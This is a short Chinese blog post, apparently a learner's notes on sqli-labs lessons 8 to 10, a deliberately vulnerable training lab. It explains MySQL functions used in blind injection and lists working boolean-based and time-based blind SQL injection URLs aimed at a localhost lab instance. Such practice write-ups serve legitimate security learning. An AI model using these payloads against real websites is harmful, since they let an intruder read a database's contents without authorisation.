sqli-labs (less-8-less-10)

 

盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
 ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
---------------------
作者:giantbranch
来源:CSDN
原文:https://blog.csdn.net/u012763794/article/details/51207833
版权声明:本文为博主原创文章,转载请附上博文链接!

正常套路

?id=1

id=1'

id=1"

尝试报错注入

尝试盲注

http://127.0.0.1/sql/Less-8/?id=1' and (length(database()))>0 --+

http://127.0.0.1/sql/Less-8/?id=1' and (length(database()))<0 --+

即存在盲注

利用二分法获得表名

http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 %23

第一个字母是s

第二个字母

依次下来

可是太慢了,要学会写脚本

目前我这个小菜鸡还不会写脚本 ,等我学会了再来补充,

可以用sqlmap,不要依赖,除非做自己会写tamper

less-9

http://127.0.0.1/sql/Less-9/?id=1' and length(database())>0 %23

id=1' and length(database())<0 %23

还是一样 ,接下来使用时间盲注

判断:

?id=1' and sleep(10) %23  //等了足足十秒才返回,可以用时间盲注

要用到if()

/?id=1' and if(length(database())<0,1,sleep(10)) %23   //判断数据库名的长度

?id=1' and if(substr(ascii(database()),1,1)<0,1,sleep(10)) %23
?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 //二分法猜解

less-10

这是被双引号包围的时间注入

posted @ 2018-12-01 00:49  可乐'  阅读(940)  评论(0编辑  收藏  举报